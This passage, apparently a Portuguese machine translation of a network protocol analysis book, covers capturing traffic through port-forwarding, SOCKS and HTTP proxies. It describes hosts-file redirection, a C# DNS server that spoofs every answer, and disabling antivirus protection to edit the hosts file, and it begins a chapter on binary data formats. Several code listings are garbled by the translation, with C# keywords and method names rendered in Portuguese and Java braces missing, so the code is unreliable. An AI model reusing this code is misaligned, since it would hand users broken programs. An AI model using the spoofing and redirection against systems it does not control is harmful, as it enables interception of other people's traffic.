Para um navegador web, é bastante simples: para capturar uma


solicitação específica, em vez de usar o formato de URL
[Link] use
[Link] que encaminha a solicitação
através do seu proxy de encaminhamento de portas.

Outras aplicações são mais complicadas: pode ser necessário


analisar as configurações da aplicação. Às vezes, a única
configuração que uma aplicação permite alterar é o endereço IP
de destino. Mas isso pode levar a um dilema do ovo e da
galinha, em que você não sabe quais portas TCP ou UDP a
aplicação pode estar usando com esse endereço, especialmente
se a aplicação contiver funções complexas executadas em
várias conexões de serviço diferentes. Isso ocorre com
protocolos de Chamada de Procedimento Remoto (RPC), como a
Arquitetura de Broker de Requisição de Objetos Comum
(CORBA). Esse protocolo geralmente estabelece uma conexão de
rede inicial com um broker, que atua como um diretório de
serviços disponíveis. Uma segunda conexão é então feita com o
serviço solicitado por meio de uma porta TCP específica da
instância.

Nesse caso, uma boa abordagem é usar o máximo possível de


recursos de rede do aplicativo enquanto o monitora usando
técnicas de captura passiva. Ao fazer isso, você deve descobrir
as conexões que o aplicativo normalmente faz, as quais você
pode então replicar facilmente com proxies de
encaminhamento.

Se o aplicativo não permite alterar o destino, você precisa ser


um pouco mais criativo. Se o aplicativo resolve o endereço do
servidor de destino por meio de um nome de host, você tem
mais opções. Você pode configurar um servidor DNS
personalizado que responda às solicitações de nome com o
endereço IP do seu proxy. Ou você pode usar o recurso de
arquivo hosts, que está disponível na maioria dos sistemas
operacionais, incluindo o Windows, desde que você tenha
controle sobre os arquivos do sistema no dispositivo em que o
aplicativo está sendo executado.

Durante a resolução de nomes de host, o sistema operacional


(ou a biblioteca de resolução) primeiro consulta o arquivo hosts
para verificar se existem entradas locais para esse nome,
fazendo uma solicitação DNS somente se nenhuma for
encontrada. Por exemplo, o arquivo hosts na Listagem 2-5
redireciona os nomes de host [Link] e
[Link] para localhost.

# Endereços padrão do localhost


[Link] localhost
::1 localhost

# A seguir, entradas fictícias para redirecionar o tr


[Link] [Link]
[Link] [Link]

Listagem 2-5: Um exemplo de arquivo hosts


O local padrão do arquivo hosts em sistemas operacionais do
tipo Unix é /etc/hosts, enquanto no Windows é
C:\Windows\System32\Drivers\etc\hosts. Obviamente, você
precisará substituir o caminho para a pasta do Windows
conforme necessário para o seu ambiente.

OBSERVAÇÃO

Alguns antivírus e produtos de segurança


monitoram alterações no arquivo hosts do sistema,
pois essas alterações são um sinal de malware.
Pode ser necessário desativar a proteção do
produto se você quiser modificar o arquivo hosts.

Vantagens de um proxy de encaminhamento de portas

A principal vantagem de um proxy de encaminhamento de


portas é a sua simplicidade: você aguarda uma conexão, abre
uma nova conexão com o destino original e, em seguida,
encaminha o tráfego entre os dois. Não há nenhum protocolo
associado ao proxy com o qual se deva lidar, e nenhum suporte
especial é exigido do aplicativo do qual você está tentando
capturar o tráfego.
Um proxy de encaminhamento de portas também é a principal
forma de encaminhar tráfego UDP; como não é orientado a
conexão, a implementação de um encaminhador para UDP é
consideravelmente mais simples.

Desvantagens de um proxy de encaminhamento de portas

Claro, a simplicidade de um proxy de encaminhamento de


portas também contribui para suas desvantagens. Como você
está encaminhando apenas o tráfego de uma conexão de escuta
para um único destino, várias instâncias de um proxy seriam
necessárias se o aplicativo usasse vários protocolos em portas
diferentes.

Por exemplo, considere um aplicativo que possui um único


nome de host ou endereço IP para seu destino, o qual você pode
controlar diretamente alterando-o na configuração do
aplicativo ou falsificando o nome do host. O aplicativo tenta
então se conectar às portas TCP 443 e 1234. Como você pode
controlar o endereço ao qual ele se conecta, e não as portas,
você precisa configurar proxies de encaminhamento para
ambas, mesmo que esteja interessado apenas no tráfego que
passa pela porta 1234.

Esse proxy também pode dificultar o gerenciamento de mais de


uma conexão para uma porta conhecida. Por exemplo, se o
proxy de encaminhamento de porta estiver escutando na porta
1234 e estabelecendo uma conexão com [Link] na
porta 1234, somente o tráfego redirecionado para o domínio
original funcionará como esperado. Se você também quisesse
redirecionar [Link], as coisas seriam mais
complicadas. Você pode mitigar esse problema se o aplicativo
permitir a especificação do endereço e da porta de destino ou
usando outras técnicas, como a Tradução de Endereços de Rede
de Destino (DNAT), para redirecionar conexões específicas para
proxies de encaminhamento exclusivos. (O Capítulo 5 contém
mais detalhes sobre DNAT, bem como diversas outras técnicas
mais avançadas de captura de rede.)

Além disso, o protocolo pode usar o endereço de destino para


seus próprios fins. Por exemplo, o cabeçalho Host no Protocolo
de Transporte de Hipertexto (HTTP) pode ser usado para
decisões de Host Virtual, o que pode fazer com que um
protocolo com encaminhamento de porta funcione de forma
diferente, ou não funcione de forma alguma, em comparação
com uma conexão redirecionada. Ainda assim, pelo menos para
HTTP, discutirei uma solução alternativa para essa limitação em
"Proxy HTTP Reverso" na página 32.

Proxy SOCKS
Imagine um proxy SOCKS como um proxy de encaminhamento
de portas turbinado. Ele não apenas encaminha conexões TCP
para o local de rede desejado, como também inicia todas as
novas conexões com um protocolo de handshake simples que
informa ao proxy o destino final, em vez de tê-lo fixo. Além
disso, ele suporta conexões de escuta, o que é importante para
protocolos como o FTP (Protocolo de Transferência de
Arquivos), que precisam abrir novas portas locais para o
servidor enviar dados. A Figura 2-9 apresenta uma visão geral
do proxy SOCKS.

Figura 2-9: Visão geral do proxy SOCKS

Três variantes comuns do protocolo estão atualmente em uso —


SOCKS 4, 4a e 5 — e cada uma tem sua própria aplicação. A
versão 4 é a mais comumente suportada; no entanto, ela
suporta apenas conexões IPv4 e o endereço de destino deve ser
especificado como um endereço IP de 32 bits. Uma atualização
da versão 4, a versão 4a, permitiu conexões por nome de host (o
que é útil se você não tiver um servidor DNS que possa resolver
endereços IP). A versão 5 introduziu suporte a nomes de host,
IPv6, encaminhamento UDP e mecanismos de autenticação
aprimorados; ela também é a única especificada em uma RFC
(1928).

Por exemplo, um cliente enviará a solicitação mostrada na


Figura 2-10 para estabelecer uma conexão SOCKS com o
endereço IP [Link] na porta 12345. O componente USERNAME
é o único método de autenticação na versão 4 do SOCKS (não é
particularmente seguro, eu sei). VER representa o número da
versão, que neste caso é 4. CMD indica que deseja se conectar (a
vinculação a um endereço é feita com CMD 2), e a porta TCP e o
endereço são especificados em formato binário.

Figura 2-10: Uma solicitação SOCKS versão 4

Se a conexão for bem-sucedida, ela enviará a resposta


apropriada, conforme mostrado na Figura 2-11. O campo RESP
indica o status da resposta; os campos de porta TCP e endereço
são relevantes apenas para solicitações de vinculação. Nesse
caso, a conexão torna-se transparente e o cliente e o servidor
negociam diretamente entre si; o servidor proxy atua apenas
como encaminhador do tráfego em ambas as direções.

Figura 2-11: Uma resposta bem-sucedida do SOCKS versão 4

Implementação simples

As bibliotecas Canape Core possuem suporte integrado para


SOCKS 4, 4a e 5. Insira o código de 2 a 6 em um arquivo de
script C#, alterando LOCALPORT ➋ para a porta TCP local na
qual você deseja escutar o proxy SOCKS.

[Link]

// [Link] – Proxy SOCKS simples


// Expõe métodos como WriteLine e WritePackets
usando static [Link];
usando static [Link];

// Cria o modelo do proxy SOCKS


➊ var template = new SocksProxyTemplate();
[Link] = ➋LOCALPORT;

// Cria a instância do proxy e inicia


var service = [Link]();
serviç[Link]();

EscreverLinha("Criado {0}", serviço);


EscreverLinha("Pressione Enter para sair...");
LerLinha();
serviç[Link]();

// Despejar pacotes
var pacotes = serviç[Link];
EscreverLinha("Capturados {0} pacotes:",
[Link]);
EscreverPacotes(pacotes);

Listagem 2-6: Um exemplo simples de proxy SOCKS

O exemplo 2-6 segue o mesmo padrão estabelecido com o proxy


de encaminhamento de porta TCP no exemplo 2-4. Mas, neste
caso, o código em ➊ cria um modelo de proxy SOCKS. O restante
do código é exatamente o mesmo.
Redirecionando o tráfego para o proxy

Para determinar uma forma de encaminhar o tráfego de rede


de um aplicativo por meio de um proxy SOCKS, verifique
primeiro as configurações do aplicativo. Por exemplo, ao abrir
as configurações de proxy no Mozilla Firefox, a caixa de diálogo
mostrada na Figura 2-12 será exibida. A partir daí, você pode
configurar o Firefox para usar um proxy SOCKS.
Figura 2-12: Configuração de proxy do Firefox

Mas, às vezes, o suporte a SOCKS não é imediatamente óbvio. Se


você estiver testando um aplicativo Java, o Java Runtime aceita
parâmetros de linha de comando que habilitam o suporte a
SOCKS para qualquer conexão TCP de saída. Por exemplo,
considere o aplicativo Java muito simples na Listagem 2-7, que
se conecta ao endereço IP [Link] na porta 5555.

[Link]

// [Link] – Um cliente de socket TCP Java


import [Link];
import [Link];

public class SocketClient


public static void main(String[] args)
try
Socket s = new Socket("[Link]", 5555);
PrintWriter out = new PrintWriter([Link]()
[Link]("Olá Mundo!");
[Link]();
catch(Exception e)

Listagem 2-7: Um cliente TCP Java simples


Ao executar este programa compilado normalmente, ele
funcionará como esperado. Mas se, na linha de comando, você
passar duas propriedades especiais do sistema, socksProxyHost
e socksProxyPort, poderá especificar um proxy SOCKS para
qualquer conexão TCP:

java –DsocksProxyHost=localhost –DsocksProxyPort=1080

Isso estabelecerá a conexão TCP através do proxy SOCKS na


porta 1080 do localhost.

Outra opção para determinar como direcionar o tráfego de rede


de um aplicativo por meio de um proxy SOCKS é verificar o
proxy padrão do sistema operacional. No macOS, acesse
Preferências do Sistema ▸ Rede ▸ Avançado ▸ Proxies. A caixa
de diálogo mostrada na Figura 2-13 será exibida. A partir daí,
você pode configurar um proxy SOCKS para todo o sistema ou
proxies gerais para outros protocolos. Isso nem sempre
funcionará, mas é uma opção simples que vale a pena tentar.

Além disso, se o aplicativo não oferecer suporte nativo a um


proxy SOCKS, certas ferramentas adicionam essa
funcionalidade a aplicativos diversos. Essas ferramentas
variam desde soluções gratuitas e de código aberto, como o
Dante ([Link] no Linux, até ferramentas
comerciais, como o Proxifier ([Link] que
funciona no Windows e macOS. De uma forma ou de outra,
todas elas injetam recursos no aplicativo para adicionar
suporte a SOCKS e modificar o funcionamento das funções de
socket.
Figura 2-13: Uma caixa de diálogo de configuração de proxy no
macOS

Vantagens de um proxy SOCKS

A principal vantagem de usar um proxy SOCKS, em vez de um


simples encaminhador de portas, é que ele deve capturar todas
as conexões TCP (e potencialmente algumas UDP, se você estiver
usando a versão 5 do SOCKS) que um aplicativo estabelece. Isso
é vantajoso desde que a camada de sockets do sistema
operacional esteja configurada para encaminhar todas as
conexões pelo proxy.

Um proxy SOCKS geralmente preserva o destino da conexão do


ponto de vista da aplicação cliente. Portanto, se uma aplicação
cliente enviar dados em banda que se referem ao seu endpoint,
o endpoint será o que o servidor espera. No entanto, isso não
preserva o endereço de origem. Alguns protocolos, como o FTP,
pressupõem que podem solicitar a abertura de portas no cliente
de origem. O protocolo SOCKS oferece um recurso para vincular
conexões de escuta, mas aumenta a complexidade da
implementação. Isso dificulta a captura e a análise, pois é
necessário considerar muitos fluxos de dados diferentes de e
para um servidor.

Desvantagens de um proxy SOCKS

A principal desvantagem do SOCKS é a inconsistência no


suporte entre aplicativos e plataformas. O proxy do sistema
Windows suporta apenas proxies SOCKS versão 4, o que
significa que ele resolve apenas nomes de host locais. Ele não
suporta IPv6 e não possui um mecanismo de autenticação
robusto. Geralmente, obtém-se um suporte melhor utilizando
uma ferramenta SOCKS para adicionar a um aplicativo
existente, mas isso nem sempre funciona bem.

Proxies HTTP

O HTTP alimenta a World Wide Web, bem como uma infinidade


de serviços web e protocolos RESTful. A Figura 2-14 fornece
uma visão geral de um proxy HTTP. O protocolo também pode
ser adotado como um mecanismo de transporte para protocolos
não web, como o Remote Method Invocation (RMI) do Java ou o
Real Time Messaging Protocol (RTMP), pois consegue atravessar
os firewalls mais restritivos. É importante entender como o
proxy HTTP funciona na prática, pois isso certamente será útil
para a análise de protocolos, mesmo que um serviço web não
esteja sendo testado. As ferramentas de teste de aplicações web
existentes raramente funcionam de forma ideal quando o HTTP
é usado fora de seu ambiente original. Às vezes, implementar
sua própria solução de proxy HTTP é a única opção.
Figura 2-14: Visão geral de um proxy HTTP

Os dois principais tipos de proxy HTTP são o proxy de


encaminhamento e o proxy reverso. Cada um possui vantagens
e desvantagens para o futuro analisador de protocolos de rede.

Encaminhando um proxy HTTP

O protocolo HTTP é especificado na RFC 1945 para a versão 1.0


e na RFC 2616 para a versão 1.1; ambas as versões fornecem um
mecanismo simples para encaminhamento de requisições
HTTP. Por exemplo, o HTTP 1.1 especifica que a primeira linha
completa de uma requisição, a linha de requisição, tem o
seguinte formato:
➊GET ➋/[Link] HTTP/1.1

O método ➊ especifica o que fazer nessa requisição usando


verbos familiares, como GET, POST e HEAD. Em uma requisição
proxy, isso não muda em relação a uma conexão HTTP normal.
O caminho ➋ é onde a requisição proxy fica interessante. Como
mostrado, um caminho absoluto indica o recurso sobre o qual o
método atuará. É importante ressaltar que o caminho também
pode ser um Identificador Uniforme de Requisição (URI)
absoluto. Ao especificar um URI absoluto, um servidor proxy
pode estabelecer uma nova conexão com o destino,
encaminhando todo o tráfego e retornando os dados para o
cliente. O proxy pode até manipular o tráfego, de forma
limitada, para adicionar autenticação, ocultar servidores da
versão 1.0 de clientes da versão 1.1 e adicionar compressão de
transferência, entre outras funcionalidades. No entanto, essa
flexibilidade tem um custo: o servidor proxy precisa ser capaz
de processar o tráfego HTTP, o que adiciona uma complexidade
enorme. Por exemplo, a seguinte linha de requisição acessa um
recurso de imagem em um servidor remoto por meio de um
proxy:
GET [Link] HTTP/1.1

Você, leitor atento, pode ter identificado um problema com essa


abordagem de proxy para comunicação HTTP. Como o proxy
precisa acessar o protocolo HTTP subjacente, o que acontece
com o HTTPS, que transporta HTTP por meio de uma conexão
TLS criptografada? Você poderia extrair o tráfego criptografado;
no entanto, em um ambiente normal, é improvável que o
cliente HTTP confie em qualquer certificado fornecido. Além
disso, o TLS foi projetado intencionalmente para tornar
praticamente impossível o uso de um ataque man-in-the-middle
de qualquer outra forma. Felizmente, isso foi previsto, e a RFC
2817 oferece duas soluções: inclui a capacidade de atualizar
uma conexão HTTP para criptografia (não há necessidade de
mais detalhes aqui) e, mais importante para nossos propósitos,
especifica o método HTTP CONNECT para criar conexões
transparentes e tuneladas sobre proxies HTTP. Como exemplo,
um navegador da web que deseja estabelecer uma conexão de
proxy com um site HTTPS pode enviar a seguinte solicitação ao
proxy:

CONECTAR [Link] HTTP/1.1


Se o proxy aceitar esta solicitação, ele estabelecerá uma nova
conexão TCP com o servidor. Em caso de sucesso, deverá
retornar a seguinte resposta:

HTTP/1.1 200 Conexão estabelecida

A conexão TCP com o proxy torna-se transparente e o


navegador consegue estabelecer a conexão TLS negociada sem
interferência do proxy. É importante notar, porém, que o proxy
provavelmente não verifica se o TLS está sendo realmente
usado nessa conexão. Poderia ser qualquer protocolo, e esse
fato é explorado por algumas aplicações para tunelar seus
próprios protocolos binários através de proxies HTTP. Por essa
razão, é comum encontrar implementações de proxies HTTP
que restringem as portas que podem ser tuneladas a um
subconjunto bastante limitado.

Implementação simples

Mais uma vez, as bibliotecas Canape Core incluem uma


implementação simples de um proxy HTTP. Infelizmente, elas
não suportam o método CONNECT para criar um túnel
transparente, mas isso será suficiente para fins de
demonstração. Insira o código da Listagem 2-8 em um arquivo
de script C#, alterando LOCALPORT ➋ para a porta TCP local na
qual você deseja escutar.

[Link]

// [Link] – Proxy HTTP simples


// Expõe métodos como WriteLine e WritePackets
usando static [Link];
usando static [Link];

// Cria o modelo do proxy


➊ var template = new HttpProxyTemplate();
[Link] = ➋LOCALPORT;

// Cria a instância do proxy e a inicia


var service = [Link]();
[Link]();

WriteLine("Criado {0}", service);


WriteLine("Pressione Enter para sair...");
ReadLine();
[Link]();

// Despejar pacotes
var packets = [Link];
WriteLine("Capturados {0} pacotes:", [Link]);
WritePackets(packets);

Listagem 2-8: Um exemplo simples de proxy HTTP de


encaminhamento

Aqui criamos um proxy HTTP de encaminhamento. O código na


linha ➊ é apenas uma pequena variação dos exemplos
anteriores, criando um modelo de proxy HTTP.

Redirecionando o tráfego para o proxy

Assim como acontece com os proxies SOCKS, o primeiro passo é


verificar o aplicativo. É raro um aplicativo que usa o protocolo
HTTP não ter algum tipo de configuração de proxy. Se o
aplicativo não tiver configurações específicas para suporte a
proxy HTTP, tente verificar as configurações do sistema
operacional, que ficam no mesmo local que as configurações de
proxy SOCKS. Por exemplo, no Windows, você pode acessar as
configurações de proxy do sistema selecionando Painel de
Controle ▸ Opções da Internet ▸ Conexões ▸ Configurações da
LAN.
Muitos utilitários de linha de comando em sistemas do tipo
Unix, como curl, wget e apt, também permitem configurar o
proxy HTTP por meio de variáveis de ambiente. Se você definir
a variável de ambiente `http_proxy` com a URL que o proxy
HTTP deve usar — por exemplo, `[Link] — o
aplicativo a utilizará. Para tráfego seguro, você também pode
usar `https_proxy`. Algumas implementações permitem
esquemas de URL especiais, como `socks4://`, para especificar
que você deseja usar um proxy SOCKS.

Vantagens de um proxy HTTP de encaminhamento

A principal vantagem de um proxy HTTP de encaminhamento é


que, se a aplicação utiliza exclusivamente o protocolo HTTP,
tudo o que precisa fazer para adicionar suporte a proxy é
alterar o caminho absoluto na linha de requisição para um URI
absoluto e enviar os dados para um servidor proxy em escuta.
Além disso, apenas algumas aplicações que utilizam o protocolo
HTTP para transporte não oferecem suporte a proxy.

Desvantagens de um proxy HTTP de encaminhamento

A necessidade de um proxy HTTP de encaminhamento


implementar um analisador HTTP completo para lidar com as
muitas idiossincrasias do protocolo adiciona uma complexidade
significativa; essa complexidade pode introduzir problemas de
processamento ou, na pior das hipóteses, vulnerabilidades de
segurança. Além disso, a adição do destino do proxy dentro do
protocolo significa que pode ser mais difícil adaptar o suporte a
proxy HTTP a um aplicativo existente por meio de técnicas
externas, a menos que você converta as conexões para usar o
método CONNECT (que funciona até mesmo para HTTP não
criptografado).

Devido à complexidade de lidar com uma conexão HTTP 1.1


completa, é comum que proxies desconectem os clientes após
uma única requisição ou façam o downgrade da comunicação
para a versão 1.0 (que sempre fecha a conexão de resposta após
o recebimento de todos os dados). Isso pode quebrar um
protocolo de nível superior que espera usar a versão 1.1 ou o
pipelining de requisições, que permite ter múltiplas requisições
em andamento para melhorar o desempenho ou a localidade do
estado.

Proxy HTTP reverso

Os proxies de encaminhamento são bastante comuns em


ambientes onde um cliente interno se conecta a uma rede
externa. Eles atuam como uma barreira de segurança,
limitando o tráfego de saída a um pequeno subconjunto de
tipos de protocolo. (Vamos ignorar, por enquanto, as potenciais
implicações de segurança do proxy CONNECT.) Mas, às vezes,
você pode querer usar um proxy para conexões de entrada,
talvez por motivos de balanceamento de carga ou segurança
(para evitar expor seus servidores diretamente ao mundo
externo). No entanto, surge um problema ao fazer isso: você
não tem controle sobre o cliente. Na verdade, o cliente
provavelmente nem percebe que está se conectando a um
proxy. É aí que entra o proxy HTTP reverso.

Em vez de exigir que o host de destino seja especificado na


linha de solicitação, como ocorre com um proxy de
encaminhamento, você pode aproveitar o fato de que todos os
clientes compatíveis com HTTP 1.1 devem enviar um cabeçalho
HTTP Host na solicitação, que especifica o nome do host
original usado no URI da solicitação. (Observe que o HTTP 1.0
não tem esse requisito, mas a maioria dos clientes que usam
essa versão enviará o cabeçalho mesmo assim.) Com as
informações do cabeçalho Host, você pode inferir o destino
original da solicitação, estabelecendo uma conexão de proxy
com esse servidor, conforme mostrado na Listagem 2-9.

GET /[Link] HTTP/1.1


User-Agent: Super Funky HTTP Client v1.0
Host: ➊[Link]
Accept: */*

Listagem 2-9: Um exemplo de solicitação HTTP

A Listagem 2-9 mostra um cabeçalho Host típico ➊ onde a


requisição HTTP foi para a URL
[Link] O proxy reverso pode
facilmente usar essa informação para reconstruir o destino
original. Novamente, como há a necessidade de analisar os
cabeçalhos HTTP, é mais difícil utilizá-lo para tráfego HTTPS
protegido por TLS. Felizmente, a maioria das implementações
de TLS aceita certificados curinga onde o assunto está no
formato *.[Link] ou similar, que corresponderia a
qualquer subdomínio de [Link].

Implementação simples

Como esperado, as bibliotecas Canape Core incluem uma


implementação integrada de proxy reverso HTTP, à qual você
pode acessar alterando o objeto de modelo de
HttpProxyTemplate para HttpReverseProxyTemplate. Mas, para
fins de completude, o Exemplo 2-10 mostra uma implementação
simples. Insira o código a seguir em um arquivo de script C#,
alterando LOCALPORT para a porta TCP local na qual você
deseja escutar. Se LOCALPORT for menor que 1024 e você
estiver executando isso em um sistema do tipo Unix, também
será necessário executar o script como root.

ReverseHttp
[Link]

// [Link] – Proxy HTTP reverso simples


// Expõe métodos como WriteLine e WritePackets
using static [Link];
using static [Link];

// Cria um modelo de proxy


var template = new HttpReverseProxyTemplate();
[Link] = ➊LOCALPORT;

// Cria uma instância de proxy e a inicia


var service = [Link]();
[Link]();

WriteLine("Criado {0}", service);


WriteLine("Pressione Enter para sair...");
ReadLine();
[Link]();
// Despejar pacotes
var packets = [Link];
WriteLine("Capturados {0} pacotes:",
[Link]);
WritePackets(packets);

Listagem 2-10: Um exemplo simples de proxy reverso HTTP

Redirecionando o tráfego para o seu proxy

A abordagem para redirecionar o tráfego para um proxy


reverso HTTP é semelhante à utilizada para o encaminhamento
de portas TCP, que consiste em redirecionar a conexão para o
proxy. Mas há uma grande diferença: você não pode
simplesmente alterar o nome do host de destino. Isso alteraria o
cabeçalho Host, mostrado na Listagem 2-10. Se não tiver
cuidado, você pode causar um loop de proxy. Em vez disso, é
melhor alterar o endereço IP associado a um nome de host
usando o arquivo hosts.

Mas talvez o aplicativo que você está testando esteja sendo


executado em um dispositivo que não permite alterar o arquivo
hosts. Portanto, configurar um servidor DNS personalizado
pode ser a abordagem mais fácil, desde que você consiga alterar
a configuração do servidor DNS.

Você pode usar outra abordagem, que é configurar um servidor


DNS completo com as configurações apropriadas. Isso pode ser
demorado e propenso a erros; basta perguntar a qualquer
pessoa que já configurou um servidor BIND. Felizmente,
existem ferramentas disponíveis para fazer o que queremos,
que é retornar o endereço IP do nosso proxy em resposta a uma
solicitação DNS. Uma dessas ferramentas é o dnsspoof. Para
evitar a instalação de outra ferramenta, você pode usar o
servidor DNS do Canape. O servidor DNS básico falsifica apenas
um único endereço IP para todas as solicitações DNS (consulte a
Listagem 2-11). Substitua IPV4ADDRESS ➊, IPV6ADDRESS ➋ e
REVERSEDNS ➌ pelas strings apropriadas. Assim como no
Proxy Reverso HTTP, você precisará executar este comando
como root em um sistema do tipo Unix, pois ele tentará se
vincular à porta 53, que geralmente não é permitida para
usuários comuns. No Windows, não há essa restrição de
vinculação a portas menores que 1024.

Servidor [Link]

// [Link] – Servidor DNS Simples


// Expõe métodos de console como WriteLine em nível g
using static [Link];

// Cria o modelo do servidor DNS


var template = new DnsServerTemplate();

// Configura os endereços de resposta


[Link] = ➊"IPV4ADDRESS";
template.ResponseAddress6 = ➋"IPV6ADDRESS";
[Link] = ➌"REVERSEDNS";

// Cria uma instância do servidor DNS e inicia


var service = [Link]();
[Link]();
WriteLine("Criado {0}", service);
WriteLine("Pressione Enter para sair...");
ReadLine();
[Link]();

Listagem 2-11: Um servidor DNS simples

Agora, se você configurar o servidor DNS do seu aplicativo para


apontar para o seu servidor DNS de spoofing, o aplicativo
deverá enviar seu tráfego por meio dele.
Vantagens de um proxy HTTP reverso

A vantagem de um proxy reverso HTTP é que ele não exige que


o aplicativo cliente suporte uma configuração típica de proxy
de encaminhamento. Isso é especialmente útil se o aplicativo
cliente não estiver sob seu controle direto ou tiver uma
configuração fixa que não pode ser facilmente alterada.
Contanto que você consiga forçar o redirecionamento das
conexões TCP originais para o proxy, é possível lidar com
solicitações para vários hosts diferentes com pouca dificuldade.

Desvantagens de um Proxy HTTP Reverso

As desvantagens de um proxy reverso HTTP são basicamente as


mesmas de um proxy de encaminhamento. O proxy deve ser
capaz de analisar a requisição HTTP e lidar com as
peculiaridades do protocolo.

Palavras finais

Neste capítulo, você leu sobre técnicas de captura passiva e


ativa, mas qual é melhor? Isso depende da aplicação que você
está tentando testar. A menos que você esteja apenas
monitorando o tráfego de rede, vale a pena adotar uma
abordagem ativa. Ao prosseguir com a leitura deste livro, você
perceberá que a captura ativa oferece benefícios significativos
para a análise e exploração de protocolos. Se tiver a opção de
escolha em sua aplicação, use SOCKS, pois é a abordagem mais
fácil em muitas circunstâncias.
3
ESTRUTURAS DE PROTOCOLO DE REDE

O velho ditado "Não há nada de novo sob o sol" se aplica


perfeitamente à estrutura dos protocolos. Protocolos binários e
textuais seguem padrões e estruturas comuns e, uma vez
compreendidos, podem ser facilmente aplicados a qualquer
novo protocolo. Este capítulo detalha algumas dessas estruturas
e formaliza a maneira como as representarei ao longo do
restante deste livro.

Neste capítulo, discuto muitos dos tipos comuns de estruturas


de protocolo. Cada uma é descrita em detalhes, juntamente com
a forma como é representada em protocolos binários ou
baseados em texto. Ao final do capítulo, você deverá ser capaz
de identificar facilmente esses tipos comuns em qualquer
protocolo desconhecido que analisar.

Ao compreender como os protocolos são estruturados, você


também perceberá padrões de comportamento exploráveis —
maneiras de atacar o próprio protocolo de rede. O Capítulo 10
fornecerá mais detalhes sobre como encontrar problemas em
protocolos de rede, mas por ora, vamos nos concentrar apenas
na estrutura.
Estruturas de Protocolo Binário

Os protocolos binários funcionam em nível binário; a menor


unidade de dados é um único dígito binário. Lidar com bits
individuais é difícil, então usaremos unidades de 8 bits
chamadas octetos, comumente chamadas de bytes. O octeto é a
unidade padrão dos protocolos de rede. Embora os octetos
possam ser divididos em bits individuais (por exemplo, para
representar um conjunto de flags), trataremos todos os dados
de rede em unidades de 8 bits, como mostrado na Figura 3-1.

Figura 3-1: Formatos de descrição de dados binários

Ao mostrar bits individuais, usarei o formato de bits, que exibe


o bit 7, o bit mais significativo (MSB), à esquerda. O bit 0, ou bit
menos significativo (LSB), fica à direita. (Algumas arquiteturas,
como PowerPC, definem a numeração de bits na direção
oposta.)

Dados numéricos

Os valores de dados que representam números geralmente


estão no núcleo de um protocolo binário. Esses valores podem
ser inteiros ou decimais. Os números podem ser usados para
representar o comprimento dos dados, para identificar valores
de etiquetas ou simplesmente para representar um número.

Em binário, os valores numéricos podem ser representados de


diversas maneiras, e o método escolhido por um protocolo
depende do valor que ele representa. As seções a seguir
descrevem alguns dos formatos mais comuns.

Números inteiros sem sinal

Os números inteiros sem sinal são a representação mais óbvia


de um número binário. Cada bit tem um valor específico com
base em sua posição, e esses valores são somados para
representar o número inteiro. A Tabela 3-1 mostra os valores
decimais e hexadecimais para um número inteiro de 8 bits.

Tabela 3-1: Valores decimais em bits

Pedaço Valor decimal Valor hexadecimal

0 1 0x01

1 2 0x02
Pedaço Valor decimal Valor hexadecimal

2 4 0x04

3 8 0x08

4 16 0x10

5 32 0x20

6 64 0x40

7 128 0x80

Números inteiros com sinal

Nem todos os valores inteiros são positivos. Em alguns cenários,


são necessários inteiros negativos — por exemplo, para
representar a diferença entre dois inteiros, é preciso levar em
conta que a diferença pode ser negativa — e somente inteiros
com sinal podem conter valores negativos. Embora codificar
um inteiro sem sinal pareça óbvio, a CPU só pode trabalhar com
o mesmo conjunto de bits. Portanto, a CPU precisa de uma
maneira de interpretar o valor inteiro sem sinal como se fosse
um inteiro com sinal; a interpretação com sinal mais comum é
o complemento de dois. O termo complemento de dois se refere
à maneira como o inteiro com sinal é representado dentro de
um valor inteiro nativo na CPU.

A conversão entre valores sem sinal e com sinal em


complemento de dois é feita aplicando a operação NOT bit a bit
(onde um bit 0 é convertido em 1 e 1 é convertido em 0) ao
inteiro e adicionando 1. Por exemplo, a Figura 3-2 mostra o
inteiro de 8 bits 123 convertido para sua representação em
complemento de dois.

Figura 3-2: Representação em complemento de dois de 123

A representação em complemento de dois apresenta uma


consequência perigosa em termos de segurança. Por exemplo,
um inteiro com sinal de 8 bits tem o intervalo de -128 a 127,
portanto, a magnitude do valor mínimo é maior que a do valor
máximo. Se o valor mínimo for negado, o resultado será ele
mesmo; em outras palavras, -(-128) é -128. Isso pode causar
cálculos incorretos em formatos analisados, levando a
vulnerabilidades de segurança. Abordaremos esse assunto com
mais detalhes no Capítulo 10.

Números inteiros de comprimento variável

A transferência eficiente de dados em rede tem sido


historicamente muito importante. Embora as redes de alta
velocidade atuais possam tornar as preocupações com a
eficiência desnecessárias, ainda existem vantagens em reduzir
a largura de banda de um protocolo. Pode ser benéfico usar
números inteiros de comprimento variável quando os valores
inteiros mais comuns representados estão dentro de um
intervalo muito limitado.

Por exemplo, considere campos de comprimento: ao enviar


blocos de dados com tamanho entre 0 e 127 bytes, você pode
usar uma representação de inteiro variável de 7 bits. A Figura
3-3 mostra algumas codificações diferentes para palavras de 32
bits. No máximo, cinco octetos são necessários para representar
toda a faixa. Mas se o seu protocolo tende a atribuir valores
entre 0 e 127, ele usará apenas um octeto, o que economiza uma
quantidade considerável de espaço.
Figura 3-3: Exemplo de codificação de inteiros de 7 bits

Dito isso, se você analisar mais de cinco octetos (ou mesmo 32


bits), o inteiro resultante da operação de análise dependerá do
programa utilizado. Alguns programas (incluindo aqueles
desenvolvidos em C) simplesmente descartarão quaisquer bits
além de um determinado intervalo, enquanto outros ambientes
de desenvolvimento gerarão um erro de estouro de inteiro. Se
não for tratado corretamente, esse estouro de inteiro pode levar
a vulnerabilidades, como estouros de buffer, que podem causar
a alocação de um buffer de memória menor do que o esperado,
resultando, por sua vez, em corrupção de memória.

Dados de ponto flutuante

Às vezes, os números inteiros não são suficientes para


representar a gama de valores decimais necessária para um
protocolo. Por exemplo, um protocolo para um jogo de
computador multijogador pode exigir o envio das coordenadas
de jogadores ou objetos no mundo virtual do jogo. Se esse
mundo for grande, seria fácil atingir o limite da gama de
valores de ponto fixo de 32 ou até mesmo 64 bits.

O formato de inteiros de ponto flutuante mais utilizado é o


formato IEEE especificado na norma IEEE para Aritmética de
Ponto Flutuante (IEEE 754). Embora a norma especifique
diversos formatos binários e até mesmo decimais para valores
de ponto flutuante, você provavelmente encontrará apenas
dois: uma representação binária de precisão simples, que
corresponde a um valor de 32 bits; e uma representação binária
de precisão dupla, com 64 bits. Cada formato especifica a
posição e o tamanho em bits da mantissa e do expoente. Um bit
de sinal também é especificado, indicando se o valor é positivo
